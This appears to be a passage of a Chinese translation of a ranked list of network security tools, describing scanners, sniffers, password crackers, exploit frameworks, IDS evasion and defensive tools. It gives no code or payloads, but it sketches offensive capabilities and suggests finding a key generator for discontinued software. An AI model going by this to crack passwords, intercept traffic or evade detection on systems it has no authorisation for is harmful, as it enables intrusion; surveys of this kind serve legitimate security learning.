    这款小型的入侵检测和预防系统擅长于通讯分析和IP数据包登录(packet logging)。Snort除了能够进行协议分析、内容搜索和包含其它许多预处理程序,还可以检测上千种蠕虫病毒、漏洞、端口扫描以及其它可疑行为检测。Snort使用一种简单的基于规则的语言来描述网络通讯,以及判断对于网络数据是放行还是拦截,其检测引擎是模块化的。 用于分析Snort警报的网页形式的引擎 Basic Analysis and Security Engine (BASE)可免费获得。
    开源的Snort为个人、小企业、集团用户提供良好的服务。其母公司SourceFire提供丰富的企业级特性和定期升级以丰富其产品线。提供(必须注册)5天免费的规则试用,您也可以在Bleeding Edge Snort找到很多免费规则。

    --------------------------------------------------------------------------------

    #4 Netcat:网络瑞士军刀
    这个简单的小工具可以读和写经过TCP或UDP网络连接的数据。它被设计成一个可靠的可以被其它程序或脚本直接和简单使用的后台工具。同时,它也是一个功能多样的网络调试和检查工具,因为它可以生成几乎所有您想要的网络连接,包括通过端口绑定来接受输入连接。Netcat最早由Hobbit在1995年发布,但在其广为流传的情况下并没有得到很好的维护。现在nc110.tgz已经很难找了。这个简单易用的工具促使了很多人写出了很多其它Netcat应用,其中有很多功能都是原版本没有的。其中最有趣的是Socat,它将Netcat扩展成可以支持多种其它socket类型,SSL加密,SOCKS代理,以及其它扩展的更强大的工具。它也在本列表中得到了自己的位置(第71位)。还有Chris Gibson's Ncat,能够提供更多对便携设备的支持。其它基于Netcat的工具还有OpenBSD's nc,Cryptcat,Netcat6,PNetcat,SBD,又叫做GNU Netcat。

    --------------------------------------------------------------------------------

    #5 Metasploit Framework:黑掉整个星球
    2004年Metasploit的发布在安全界引发了强烈的地震。没有一款新工具能够一发布就挤进此列表的15强(也就是说2000年和2003年的调查没有这种情况),更何况此工具更在5强之列,超过了很多广为流传的诞生了几十年的老牌工具。它是一个强大的开源平台,供开发、测试和使用恶意代码。这种可扩展的模型将负载控制、编码器、无操作生成器和漏洞整合在一起,使得Metasploit Framework成为一种研究高危漏洞的途径。它自带上百种漏洞,还可以在online exploit building demo(在线漏洞生成演示)看到如何生成漏洞。这使得您自己编写漏洞变得更简单,它势必将提升非法shellcode代码的水平,扩大网络阴暗面。与其相似的专业漏洞工具,例如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了这种能力的门槛,将其推广给大众。

    --------------------------------------------------------------------------------

    #6 Hping2:一种网络探测工具,是ping的超级变种
    这个小工具可以发送自定义的ICMP,UDP和TCP数据包,并接收所有反馈信息。它的灵感来源于ping命令,但其功能远远超过ping。它还包含一个小型的路由跟踪模块,并支持IP分段。此工具可以在常用工具无法对有防火墙保护的主机进行路由跟踪/ping/探测时大显身手。它经常可以帮助您找出防火墙的规则集,当然还可以通过它来学习TCP/IP协议,并作一些IP协议的实验。

    --------------------------------------------------------------------------------

    #7 Kismet:一款超强的无线嗅探器
    Kismet是一款基于命令行(ncurses)的802.11 layer2无线网络探测器、嗅探器、和入侵检测系统。它对网络进行被动嗅探(相对于许多主动工具,例如NetStumbler),可以发现隐形网络(非信标)。它可以通过嗅探TCP、UDP、ARP和DHCP数据包来自动检测网络IP段,以Wireshark/TCPDump兼容格式记录通讯日志,更加可以将被检测到的网络分块并按照下载的分布图进行范围估计。如您所想,这款工具一般被wardriving所使用。嗯!还有warwalking、warflying和warskating……

    --------------------------------------------------------------------------------

    #8 Tcpdump:最经典的网络监控和数据捕获嗅探器
    在Ethereal(Wireshark)出现之前大家都用Tcpdump,而且很多人现在还在一直使用。它也许没有Wireshark那么多花里胡哨的东西(比如漂亮的图形界面,亦或数以百计的应用协议逻辑分析),但它能出色的完成很多任务,并且漏洞非常少,消耗系统资源也非常少。它很少添加新特性了,但经常修复一些bug和维持较小的体积。它能很好的跟踪网络问题来源,并能监控网络活动。其Windows下的版本叫做WinDump。Libpcap/WinPcap的包捕获库就是基于TCPDump,它也用在Nmap等其它工具中。

    --------------------------------------------------------------------------------

    #9 Cain and Abel:Windows平台上最好的密码恢复工具
    UNIX用户经常声称正是因为Unix平台下有很多非常好的免费安全工具,所以Unix才会成为最好的平台,而Windows平台一般不在他们的考虑范围之内。他们也许是对的,但Cain & Abel确实让人眼前一亮。这种只运行于Windows平台的密码恢复工具可以作很多事情。它可以通过嗅探网络来找到密码、利用字典破解加密密码、暴力破解密码和密码分析、记录VoIP会话、解码非常复杂的密码、星号查看、剥离缓存密码以及分析路由协议。另外其文档也很齐全(well documented)。

    --------------------------------------------------------------------------------

    #10 John the Ripper:一款强大的、简单的以及支持多平台的密码破解器
    John the Ripper是最快的密码破解器,当前支持多种主流Unix (官方支持11种,没有计算不同的架构)、DOS、Win32、BeO和OpenVMS。它的主要功能就是检测弱Unix密码。它支持主流Unix下的多种(3种)密码哈希加密类型,它们是Kerberos、AFS以及Windows NT/2000/XP LM。其它哈希类型可以通过补丁包加载。如果您希望从一些单词表开始的话,您可以在这里、这里和这里找到。

    --------------------------------------------------------------------------------

    #11 Ettercap:为交换式局域网提供更多保护
    Ettercap是一款基于终端的以太网络局域网嗅探器/拦截器/日志器。它支持主动和被动的多种协议解析(甚至是ssh和https这种加密过的)。还可以进行已建立连接的数据注入和实时过滤,保持连接同步。大部分嗅探模式都是强大且全面的嗅探组合。支持插件。能够识别您是否出在交换式局域网中,通过使用操作系统指纹(主动或被动)技术可以得出局域网结构。

    --------------------------------------------------------------------------------

    #12 Nikto:非常全面的网页扫描器
    Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3200种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。基于Whisker/libwhisker完成其底层功能。这是一款非常棒的工具,但其软件本身并不经常更新,最新和最危险的可能检测不到。

    --------------------------------------------------------------------------------

    #13 Ping/telnet/dig/traceroute/whois/netstat:基本命令
    虽然有很多重型的高科技网络安全工具,但是不要忘记其基础!所有网络安全人士都要对这些基本命令非常熟悉,因为它们对大多数平台都适用(在Windows平台上whois为tracert)。它们可以随手捏来,当然如果需要使用一些更高级的功能可以选择Hping2和Netcat。

    --------------------------------------------------------------------------------

    #14 OpenSSH / PuTTY / SSH:访问远程计算机的安全途径
    SSH(Secure Shell)现在普遍应用于登录远程计算机或在其上执行命令。它为不安全网络上的两台不互信计算机间通讯提供安全加密,代替非常不可靠的telnet/rlogin/rsh交互内容。大多UNIX使用开源的OpenSSH服务器和客户端程序。Windows用户更喜欢免费的PuTTY客户端,它也可以运行在多种移动设备上。还有一些Windows用户喜欢使用基于终端的OpenSSH模拟程序Cygwin。还有其它很多收费和免费的客户端。您可以在这里和这里找到。

    --------------------------------------------------------------------------------

    #15 THC Hydra:支持多种服务的最快的网络认证破解器
    如果您需要暴力破解一个远程认证服务,Hydra经常会是选择对象。它可以同时对30个以上的端口进行基于字典的快速破解,包括telnet、ftp、http、https、smb、多种数据库及其它服务。和THC Amap一样,此Hydra版本来自于民间组织THC。

    --------------------------------------------------------------------------------

    #16 Paros proxy:网页程序漏洞评估代理
    基于Java的网页程序漏洞评估代理。支持实时编辑和浏览HTTP/HTTPS信息,修改例如Cookie和表字段中的内容。它包含有网页通讯记录器、网页小偷(web spider)、哈希计算器和一个常用网页程序攻击扫描器,例如SQL注入和跨网站脚本等。

    --------------------------------------------------------------------------------

    #17 Dsniff:一款超强的网络评估和渗透检测工具套装
    由Dug Song精心设计并广受欢迎的这款套装包含很多工具。Dsniff、filesnarf、mailsnarf、msgsnarf、urlsnarf和webspy通过被动监视网络以获得敏感数据(例如密码、邮件地址、文件等)。Arpspoof、dnsspoof和macof能够拦截一般很难获取到的网络通讯信息(例如由于使用了第二层转换(layer-2 switching))。Sshmitm和webmitm通过ad-hoc PKI中弱绑定漏洞对ssh和https会话进行重定向实施动态monkey-in-the-middle(利用中间人攻击技术,对会话进行劫持)攻击。Windows版本可以在这里获取。总之,这是一个非常有用的工具集。它能完成几乎所有密码嗅探需要作的工作。

    --------------------------------------------------------------------------------

    #18 NetStumbler:免费的Windows 802.11嗅探器
    Netstumbler是广为人知的寻找开放无线访问接入点的Windows工具("wardriving")。其PDA上的WinCE系统版本名叫Ministumbler。此软件当前免费,但只能够运行在Windows平台上,且代码不公开。它使用很多主动方法寻找WAP,而Kismet或KisMAC则更多使用被动嗅探。

    --------------------------------------------------------------------------------

    #19 THC Amap:一款应用程序指纹扫描器
    Amap是一款很棒的程序,它可以检测出某一端口正在被什么程序监听。因为其独有的version detection特性,所以其数据库不会象Nmap一样变得很大,在Nmap检测某一服务失败或者其它软件不起作用时可以考虑使用之。Amap的另一特性是其能够解析Nmap输出文件。这也是THC贡献的另一款很有价值的工具。

    --------------------------------------------------------------------------------

    #20 GFI LANguard:一款Windows平台上的商业网络安全扫描器
    GFI LANguard通过对IP网络进行扫描来发现运行中的计算机,然后尝试收集主机上运行的操作系统版本和正在运行的应用程序。我曾经尝试收集到了Windows主机上的service pack级别、缺少的安全更新、无线访问接入点、USB设备、开放的共享、开放的端口、正在运行的服务和应用程序、主要注册表项、弱密码、用户和组别以及其它更多信息。扫描结果保存在一份可自定义/可查询的HTML报告文档中。它还含有一个补丁管理器,可以检查并安装缺少的补丁。试用版可以免费获得,但只能使用30天。

    --------------------------------------------------------------------------------

    #21 Aircrack:最快的WEP/WPA破解工具
    Aircrack是一套用于破解802.11a/b/g WEP和WPA的工具套装。一旦收集到足够的加密数据包它可以破解40到512位的WEP密匙,它也可以通过高级加密方法或暴力破解来破解WPA 1或2网络。套装中包含airodump(802.11数据包捕获程序)、aireplay (802.11数据包注入程序)、aircrack(静态WEP和WPA-PSK破解),和airdecap(解密WEP/WPA捕获文件)。

    --------------------------------------------------------------------------------

    #22 Superscan:只运行于Windows平台之上的端口扫描器、ping工具和解析器
    SuperScan是一款Foundstone开发的免费的只运行于Windows平台之上的不开源的TCP/UDP端口扫描器。它其中还包含许多其它网络工具,例如ping、路由跟踪、http head和whois。

    --------------------------------------------------------------------------------

    #23 Netfilter:最新的Linux核心数据包过滤器/防火墙
    Netfilter是一款强大的运行于标准Linux核心上的包过滤器。它集成了用户空间IP列表工具。当前,它支持包过滤(无状态或有状态)、所有类型的网络地址和端口转换(NAT/NAPT)并支持多API层第三方扩展。它包含多种不同模块用来处理不规则协议,例如FTP。其它UNIX平台请参考Openbsd PF(只用于OpenBSD)或者IP Filter。许多个人防火墙(personal firewalls)都支持Windows (Tiny、Zone Alarm、Norton、Kerio...),但都不提供上述IP列表。微软在Windows XP SP2中集成了一款非常基础的防火墙,如果您不安装它,它就会不断地提示您安装。

    --------------------------------------------------------------------------------

    #24 Sysinternals:一款强大的非常全面的Windows工具合集
    Sysinternals为Windows低级入侵提供很多非常有用的小工具。其中一部分是免费的,有些还附有源代码,其它是需要付费使用的。受访者最喜欢此集合中的以下工具:

    ProcessExplorer 监视所有进程打开的所有文件和目录(类似Unix上的LSoF)。
    PsTools 管理(执行、挂起、杀死、查看)本地和远程进程。
    Autoruns 发现系统启动和登陆时加载了哪些可执行程序。
    RootkitRevealer 检测注册表和文件系统API异常,用以发现用户模式或内核模式的rootkit工具。
    TCPView 浏览每个进程的TCP和UDP通讯终点(类似Unix上的Netstat)。
    生产此软件的公司已被微软于2005年收购,所以其未来产品线特征无法预测。

    --------------------------------------------------------------------------------

    #25 Retina:eEye出品的商业漏洞评估扫描器
    象Nessus一样,Retina的功能是扫描网络中所有的主机并报告发现的所有漏洞。eEye出品,此公司以其security research而闻名。

    --------------------------------------------------------------------------------

    #26 Perl / Python / Ruby:简单的、多用途的脚本语言
    常用的安全问题都能在网上找到工具解决,但使用脚本语言您可以编写您自己的(或编辑现有的)工具,当您需要解决某种特定问题的时候。快速、简单的脚本语言可以测试、发现漏洞甚至修复系统漏洞。CPAN上充满了类似Net::RawIP和执行协议的程序模块,可以使您的工作更加轻松。

    --------------------------------------------------------------------------------

    #27 L0phtcrack:Windows密码猜测和恢复程序
    L0phtCrack也叫作LC5,用来尝试通过哈希(通过某种访问方式获得的)方法破解诸如Windows NT/2000工作站、联网服务器、主域控制器、或活动目录密码,有时它也可以通过嗅探获得密码的哈希值。它还可以通过多种手段来猜测密码(字典、暴力破解等等)。Symantec公司2006年已经停止了LC5的开发,但LC5 installer的安装文件随处可以找到。免费试用版只能使用15天,Symantec已经停止出售此软件的注册码,所以如果您不想放弃使用它,就必须找到一个与其对应的注册码生成器(key generator)。因为Symantec不再维护此软件,所以最好尝试用Cain and Abel或John the Ripper来代替之。

    --------------------------------------------------------------------------------

    #28 Scapy:交互式数据包处理工具
    Scapy是一款强大的交互式数据包处理工具、数据包生成器、网络扫描器、网络发现工具和包嗅探工具。它提供多种类别的交互式生成数据包或数据包集合、对数据包进行操作、发送数据包、包嗅探、应答和反馈匹配等等功能。Python解释器提供交互功能,所以要用到Python编程知识(例如variables、loops、和functions)。支持生成报告,且报告生成简单。

    --------------------------------------------------------------------------------

    #29 Sam Spade:Windows网络查询免费工具
    Sam Spade为许多网络查询的一般工作提供了图形界面和方便的操作。此工具设计用于跟踪垃圾信息发送者,但它还可以用于许多其它的网络探查、管理和安全工作。它包含许多有用的工具,例如ping、nslookup、whois、dig、路由跟踪、查找器、原始HTTP网页浏览器、DNS地址转换、SMTP中继检查、网站搜索等等。非Windows用户可以在线使用更多其它工具。

    --------------------------------------------------------------------------------

    #30 GnuPG / PGP :对您的文件和通讯进行高级加密
    PGP是Phil Zimmerman出品的著名加密程序,可以使您的数据免受窃听以及其它危险。GnuPG是一款口碑很好的遵守PGP标准的开源应用(可执行程序名为gpg)。GunPG是免费的,而PGP对某些用户是收费的。

    --------------------------------------------------------------------------------

    #31 Airsnort:802.11 WEP加密破解工具
    AirSnort是一款用来恢复加密密码的无线LAN(WLAN)工具。Shmoo Group出品,工作原理是被动监控传输信息,当收集到足够多的数据包后开始计算加密密码。Aircrack和它很像。

    --------------------------------------------------------------------------------

    #32 BackTrack:一款极具创新突破的Live(刻在光盘上的,光盘直接启动) 光盘自启动Linux系统平台
    这款卓越的光盘自启动Linux系统是由Whax和Auditor合并而成。它以其超级多的安全和防护工具配以丰富的开发环境而闻名。重点在于它的用户模块化设计,用户可以自定义将哪些模块刻到光盘上,例如自己编写的脚本、附加工具、自定义内核等等。

    --------------------------------------------------------------------------------

    #33 P0f:万能的被动操作系统指纹工具
    P0f能够通过捕获并分析目标主机发出的数据包来对主机上的操作系统进行鉴别,即使是在系统上装有性能良好的防火墙的情况下也没有问题。P0f不增加任何直接或间接的网络负载,没有名称搜索、没有秘密探测、没有ARIN查询,什么都没有。某些高手还可以用P0f检测出主机上是否有防火墙存在、是否有NAT、是否存在负载平衡器等等!

    --------------------------------------------------------------------------------

    #34 Google:人人喜爱的搜索引擎
    Google当然不是什么安全工具,但是它超级庞大的数据库却是安全专家和入侵者最好的资源。如果您想了解某一公司,您可以直接用它搜索 “site:target-domain.com”,您可以获得员工姓名、敏感信息(通常公司不对外公开的,但在Google上就难说了)、公司内部安装的软件漏洞等等。同样,如果您在Google上发现一个有某个漏洞的网站,Google还会提供给您其它有相同漏洞的网站列表。其中利用Google进行黑客活动的大师Johny Long建立了一个Google黑客数据库(Google Hacking Database)还出版了一本如何用Google进行黑客活动的书Google Hacking for Penetration Testers。

    --------------------------------------------------------------------------------

    #35 WebScarab:一个用来分析使用HTTP和HTTPS协议的应用程序框架
    它的原理很简单,WebScarab记录它检测到的会话内容(请求和应答),使用者可以通过多种形式来查看记录。WebScarab的设计目的是让使用者可以掌握某种基于HTTP(S)程序的运作过程;也可以用它来调试程序中较难处理的bug,也可以帮助安全专家发现潜在的程序漏洞。

    --------------------------------------------------------------------------------

    #36 Ntop:网络通讯监控器
    Ntop以类似进程管理器的方式显示网络使用情况。在应用程序模式下,它能显示用户终端上的网络状况。在网页模式下,它作为网页服务器,以HTML文档形式显示网络状况。它是NetFlow/sFlow发射和收集器,通过一个基于HTTP的客户端界面来生成以ntop为中心的监控程序,RRD(Round Robin Database)(环形数据库)用来持续储存网络通讯状态信息。

    --------------------------------------------------------------------------------

    #37 Tripwire:很老的文件完整性检查器
    一款文件和目录完整性检查器。Tripwire是一种可以帮助系统管理员和一般用户监控某一特定文件或目录变化的工具。可以用以对系统文件作日常(例如:每天)检查,Tripwire可以向系统管理员通报文件损坏或被篡改情况,所以这是一种周期性的文件破坏控制方法。免费的开源Linux版本可以在Tripwire.Org下载到。AIDE是UNIX平台的Tripwire替代品。或者Radmind、RKHunter和chkrootkit也是很好的选择。Windows用户请使用Sysinternals出品的RootkitRevealer。

    --------------------------------------------------------------------------------

    #38 Ngrep:方便的数据包匹配和显示工具
    ngrep尽可能多的去实现GNU grep的功能,将它们应用于网络层。Ngrep是一款pcap-aware工具,它允许指定各种规则式或16进制表达式去对数据负载或数据包进行匹配。当前支持TCP、UDP、以太网上的ICMP、PPP、SLIP、FDDI、令牌环(Token Ring)和空接口(null interfaces),还能理解类似Tcpdump和snoop等一样形式的bpf过滤器逻辑。

    --------------------------------------------------------------------------------

    #39 Nbtscan:在Windows网络上收集NetBIOS信息
    NBTscan是一款在IP网络上扫描NetBIOS名称信息的工具。它通过给指定范围内所有地址发送状态查询来获得反馈信息并以表形式呈现给使用者。每一地址的反馈信息包括IP地址、NetBIOS计算机名、登录用户、MAC地址。

    --------------------------------------------------------------------------------

    #40 WebInspect:强大的网页程序扫描器
    SPI Dynamics' WebInspect应用程序安全评估工具帮您识别已知和未知的网页层漏洞。它还能检测到Web服务器的配置属性,以及进行常见的网页攻击,例如参数注入、跨网站脚本、目录游走等等。

    --------------------------------------------------------------------------------

    #41 OpenSSL:最好的SSL/TLS加密库
    OpenSSL项目的目的是通过开源合作精神开发一种健壮的、可以和同类型商业程序媲美的、全功能的,且开源的应用于SSL v2/v3(Secure Sockets Layer)和TLS v1(Transport Layer Security)协议的普遍适用的加密库工具集。本项目由世界范围内的志愿者们维护,他们通过互联网联络、计划和开发OpenSSL工具集及其相关文档。

    --------------------------------------------------------------------------------

    #42 Xprobe2:主动操作系统指纹工具
    XProbe是一款远程主机操作系统探查工具。开发者基于和Nmap相同的一些技术(same techniques),并加入了自己的创新。Xprobe通过ICMP协议来获得指纹。

    --------------------------------------------------------------------------------

    #43 EtherApe:EtherApe是Unix平台上的模仿etherman的图形界面网络监控器
    包含连接层、IP和TCP三种模式,EtherApe网络活动图通过不同颜色来标识不同协议。主机和连接的图形大小随通讯情况而变化。它支持以太网、FDDI、令牌环、ISDN、PPP和SLIP设备。它可以实施过滤网络通讯,也可以抓取网络通讯快照文件。

    --------------------------------------------------------------------------------

    #44 Core Impact:全自动的全面入侵检测工具
    Core Impact可不便宜(先准备个上万美元吧),但它却是公认的最强的漏洞检测工具。它有一个强大的定时更新的专业漏洞数据库,它可以轻易的黑掉一台计算机,并以它为跳板再去作别的事情。如果您买不起Core Impact,可以看看比较便宜的Canvas或者免费的Metasploit Framework。当然,三个同时用是最好的了。

    --------------------------------------------------------------------------------

    #45 IDA Pro:Windows或Linux反编译器和调试器
    反编译器是一块很重要的安全研究方向。它可以帮您拆解微软的补丁,以了解微软未公开并悄悄修补的漏洞,或直接以二进制的方式对某个服务器进行检测,以找出为何某个存在的漏洞不起作用。反编译器有很多,但IDA Pro是遵守二进制包事实标准(de-facto standard)的恶意代码和漏洞研究分析工具。这个图形化的、可编程的、可扩展的、支持多处理器的反编译器现在有了一个和Windows一模一样的Linux(命令行模式)版本。

    --------------------------------------------------------------------------------

    #46 SolarWinds:网络发现/监控/攻击系列工具
    SolarWinds生产和销售了许多专业的系统管理工具。安全相关的包括许多网络发现扫描器、一个SNMP暴力破解器、路由器密码解密器、TCP连接重置程序、最快最易用的一个路由器设置下载和上传程序等等。

    --------------------------------------------------------------------------------

    #47 Pwdump:一款Windows密码恢复工具
    Pwdump可以从Windows主机中取得NTLM和LanMan哈希值,无论系统密码是否启用。它还能显示系统中存在的历史密码。数据输出格式为L0phtcrack兼容格式,也可以以文件形式输出数据。

    --------------------------------------------------------------------------------

    #48 LSoF:打开文件列表
    这是一款Unix平台上的诊断和研究工具,它可以列举当前所有进程打开的文件信息。它也可以列举所有进程打开的通讯socket(communications sockets)。Windows平台上类似的工具有Sysinternals。

    --------------------------------------------------------------------------------

    #49 RainbowCrack:极具创新性的密码哈希破解器
    RainbowCrack是一款使用了大规模内存时间交换(large-scale time-memory trade-off)技术的哈希破解工具。传统的暴力破解工具会尝试每一个可能的密码,要破解复杂的密码会很费时。RainbowCrack运用时间交换技术对破解时间进行预计算,并将计算结果存入一个名叫"rainbow tables"的表里。预计算确实也会花费较长时间,但相对暴力破解来说则短多了,而且一旦预计算完成破解开始,那么破解所需要的时间就非常非常短了。

    --------------------------------------------------------------------------------

    #50 Firewalk:高级路由跟踪工具
    Firewalk使用类似路由跟踪的技术来分析IP数据包反馈,以确定网关ACL过滤器类型和网络结构。㊣ COPY BY TTIAN.NET ㊣ 这款经典的工具在2002年十月由scratch重写。这款工具的大部分功能Hping2的路由跟踪部分也都能实现。

    --------------------------------------------------------------------------------

    #51 Angry IP Scanner:一款非常快的Windows IP 扫描器和端口扫描器
    Angry IP Scanner能够实现最基本的Windows平台上的主机发现和端口扫描。它的体积非常的小,它还可以通过挂载插件(a few plugins)来获得主机其它信息。

    --------------------------------------------------------------------------------

    #52 RKHunter:一款Unix平台上的Rootkit检测器
    RKHunter是一款检测例如rootkit、后门、漏洞等恶意程序的工具。它采用多种检测手段,包括MD5哈希值对比、rootkits原始文件名检测、文件权限检测,以及LKM和KLD模块中的可疑字符串检测。

    --------------------------------------------------------------------------------

    #53 Ike-scan:VPN检测器和扫描器
    Ike-scan是一款检测IKE(Internet Key Exchange)服务传输特性的工具,IKE是VPN网络中服务器和远程客户端建立连接的机制。在扫描到VPN服务器的IP地址后,将改造过的IKE数据包分发给VPN网中的每一主机。只要是运行IKE的主机就会发回反馈来证明它存在。此工具然后对这些反馈数据包进行记录和显示,并将它们与一系列已知的VPN产品指纹进行对比。Ike-scan的VPN指纹包含来自Checkpoint、Cisco、Microsoft、Nortel和Watchguard的产品。

    --------------------------------------------------------------------------------

    #54 Arpwatch:持续跟踪以太网/IP地址配对,可以检查出中间人攻击
    Arpwatch是LBNL网络研究组出品的一款经典的ARP中间人(man-in-the-middle)攻击检测器。它记录网路活动的系统日志,并将特定的变更通过Email报告给管理员。Arpwatch使用LibPcap来监听本地以太网接口ARP数据包。

    --------------------------------------------------------------------------------

    #55 KisMAC:一款Mac OS X上的图形化被动无线网络搜寻器这款Mac OS X下非常流行的搜寻器和Kismet功能差不多,但和Kismet不同的是Kismet是基于命令行的,而KisMac有很漂亮的图形化界面,在OS X上出现得也比Kismet早。它同时还提供映射、Pcap兼容格式数据输入、登录和一些解密、验证破解功能。

    --------------------------------------------------------------------------------

    #56 OSSEC HIDS:一款开源的基于主机的入侵检测系统
    OSSEC HIDS的主要功能有日志分析、完整性检查、rootkit检测、基于时间的警报和主动响应。除了具有入侵检测系统功能外,它还一般被用在SEM/SIM(安全事件管理(SEM: Security Event Management)/安全信息管理(SIM:Security Information Management))解决方案中。因其强大的日志分析引擎,ISP(Internet service provider)(网络服务提供商)、大学和数据中心用其监控和分析他们的防火墙、入侵检测系统、网页服务和验证等产生的日志。

    --------------------------------------------------------------------------------

    #57 Openbsd PF:OpenBSD数据包过滤器
    象其它平台上的Netfilter和IP Filter一样,OpenBSD用户最爱用PF,这就是他们的防火墙工具。它的功能有网络地址转换、管理TCP/IP通讯、提供带宽控制和数据包分级控制。它还有一些额外的功能,例如被动操作系统检测。PF是由编写OpenBSD的同一批人编写的,所以您完全可以放心使用,它已经经过了很好的评估、设计和编码以避免暴露其它包过滤器(other  packet  filters)上的类似漏洞。

    --------------------------------------------------------------------------------

    #58 Nemesis:简单的数据包注入
    Nemesis项目设计目的是为Unix/Linux(现在也包含Windows了)提供一个基于命令行的、小巧的、人性化的IP堆栈。此工具套装按协议分类,并允许对已注入的数据包流使用简单的shell脚本。如果您喜欢Nemesis,您也许对Hping2也会感兴趣,它们是互补的关系。

    --------------------------------------------------------------------------------

    #59 Tor:匿名网络通讯系统
    Tor是一款面向希望提高其网络安全性的广大组织和大众的工具集。Tor的功能有匿名网页浏览和发布、即时信息、irc、ssh以及其它一些TCP协议相关的功能。Tor还为软件开发者提供一个可开发内置匿名性、安全性和其它私密化特性的软件平台。在Vidalia可以获得跨平台的图形化界面。

    --------------------------------------------------------------------------------

    #60 Knoppix:一款多用途的CD或DVD光盘自启动系统
    Knoppix由一系列典型的GNU/Linux软件组成,可以自动检测硬件环境,支持多种显卡、声卡、SCSI和USB设备以及其它外围设备。KNOPPIX作为一款高效的Linux光盘系统,可以胜任例如桌面系统、Linux教学光盘、救援系统等多种用途,经过这次在nmap中调查证实,它也是一款很小巧的安全工具。如果要使用更专业的Linux安全系统请看BackTrack。

    --------------------------------------------------------------------------------

    #61 ISS Internet Scanner:应用程序漏洞扫描器
    Internet Scanner是由Christopher Klaus在92年编写的一款开源的扫描器工具。现在这款工具已经演变成了一个市值上亿美元生产无数安全产品的公司。

    --------------------------------------------------------------------------------

    #62 Fport:Foundstone出品的加强版netstat
    Fport可以报告所有本地机上打开的TCP/IP和UDP端口,并显示是何程序打开的端口。所以用它可以快速识别出未知的开放端口以及与其相关的应用程序。它只有Windows版本,但现在很多UNIX系统上的netstat也提供同样的功能(Linux请用'netstat -pan')。SANS article有Fport的使用说明和结果分析方法。

    --------------------------------------------------------------------------------

    #63 chkrootkit:本地rootkit检测器
    chkrootkit是一款小巧易用的Unix平台上的可以检测多种rootkit入侵的工具。它的功能包括检测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块(malicious kernel modules)。

    --------------------------------------------------------------------------------

    #64 SPIKE Proxy:HTTP攻击
    Spike Proxy是一款开源的以发现网站漏洞为目的的HTTP代理。它是Spike Application Testing Suite的一部分,功能包括自动SQL注入检测、 网站爬行(web site crawling)、登录列表暴力破解、溢出检测和目录游走检测。

    --------------------------------------------------------------------------------

    #65 OpenBSD:被认为是最安全的操作系统
    OpenBSD是将安全作为操作系统首要任务的操作系统之一,甚至有时安全性级别要高于易用性,所以它骄人的安全性是不言而喻的。OpenBSD也非常重视系统的稳定性和对硬件的支持能力。也许他们最伟大的创举就是创造了OpenSSH。 OpenBSD用户对此系统之上的[pf](OpenBSD上的防火墙工具,本列表中第57位有介绍)也褒奖有佳。

    --------------------------------------------------------------------------------

    #66 Yersinia:一款支持多协议的底层攻击工具
    Yersinia是一款底层协议攻击入侵检测工具。它能实施针对多种协议的多种攻击。例如夺取生成树的根角色(生成树协议:Spanning Tree Protocol),生成虚拟CDP(Cisco发现协议:Cisco Discovery Protocol)邻居、在一个HSRP(热等待路由协议:Hot Standby Router Protocol)环境中虚拟成一个活动的路由器、制造假DHCP反馈,以及其它底层攻击。

    --------------------------------------------------------------------------------

    #67 Nagios:一款开源的主机、服务和网络监控程序
    Nagios是一款系统和网络监控程序。它可以监视您指定的主机和服务,当被监视对象发生任何问题或问题被解决时发出提示信息。它的主要功能有监控网络服务(smtp、pop3、http、nntp、ping等等)、监控主机资源(进程负载、硬盘空间使用情况等等)、当发现问题或问题解决时通过多种形式发出提示信息(Email、寻呼机或其它用户定义的方式)。

    --------------------------------------------------------------------------------

    #68 Fragroute/Fragrouter:一款网络入侵检测逃避工具集
    Fragrouter 是一款单向分段路由器,发送(接收)IP数据包都是从攻击者到Fragrouter,将数据包转换成分段数据流发给受害者。很多入侵检测系统都不能重建一段被视为一个整体的网络数据(通过IP分段和TCP流重组),详情请见这篇文章(this classic paper)。Fragrouter可以帮助骇客在逃避入侵检测后发起基于IP的攻击。它是Dug Song出品的NIDSbench套装中的一部分。Fragroute是Dug song出品的另一款和Fragrouter相似的工具。

    --------------------------------------------------------------------------------

    #69 X-scan:一款网络漏洞扫描器
    一款多线程、支持插件的漏洞扫描器。X-Scan主要功能有全面支持NASL(Nessus攻击脚本语言:Nessus Attack Scripting Language)、检测服务类型、远程操作系统类型(版本)检测、弱用户名/密码匹配等等。最新版本可以在这里获取。请注意这是一个中文网站(原文为英文,所以原文作者提醒英文读者这是个中文网站)。

    --------------------------------------------------------------------------------

    #70 Whisker/libwhisker:Rain.Forest.Puppy出品的CGI漏洞扫描器和漏洞库
    Libwhisker是一款Perl模板集用来测试HTTP。它的功能是测试HTTP服务器上是否存在许多已知的安全漏洞,特别是CGI漏洞。Whisker是一款基于libwhisker的扫描器,但是现在大家都趋向于使用Nikto,它也是基于libwhisker的。

    --------------------------------------------------------------------------------

    #71 Socat:双向数据传输中继
    类似于Netcat的工具,可以工作于许多协议之上,运行于文件、管道、设备(终端或调制解调器等等)、socket(Unix、IP4、IP6-raw、UDP、TCP)、Socks4客户端、代理服务器连接、或者SSL等等之间。它提供forking、logging和dumping,和不同模式的交互式处理通讯,以及更多其它选项。它可以作为TCP中继(单次触发:one-shot或者daemon(Internet中用于邮件收发的后台程序))、作为基于daemon的动态Sockes化(socksifier)、作为Unix平台上sockets的shell接口、作为IP6中继、将面向TCP的程序重定向成串行线路(Serial Line)程序、或者建立用来运行客户端或服务器带有网络连接的shell脚本相关安全环境(su和chroot)。

    --------------------------------------------------------------------------------

    #72 Sara:安全评审研究助手
    SARA是一款源于infamous SATAN扫描器的漏洞评估工具。此工具大约两个月更新一次,出品此工具的开源社区还维护着Nmap和Samba。

    --------------------------------------------------------------------------------

    #73 QualysGuard:基于网页的漏洞扫描器
    在网站上以服务形式发布, 所以QualysGuard没有开发、维护和升级漏洞管理软件或ad-hoc安全应用程序的负担。客户端可以安全的通过一个简单易用的网页访问QualysGuard。QualysGuard含有5000种以上的单一漏洞检查,一个基于推理的扫描引擎,而且漏洞知识库自动天天升级。

    --------------------------------------------------------------------------------

    #74 ClamAV:一款UNIX平台上的基于GPL(通用公开许可证:General Public License)的反病毒工具集
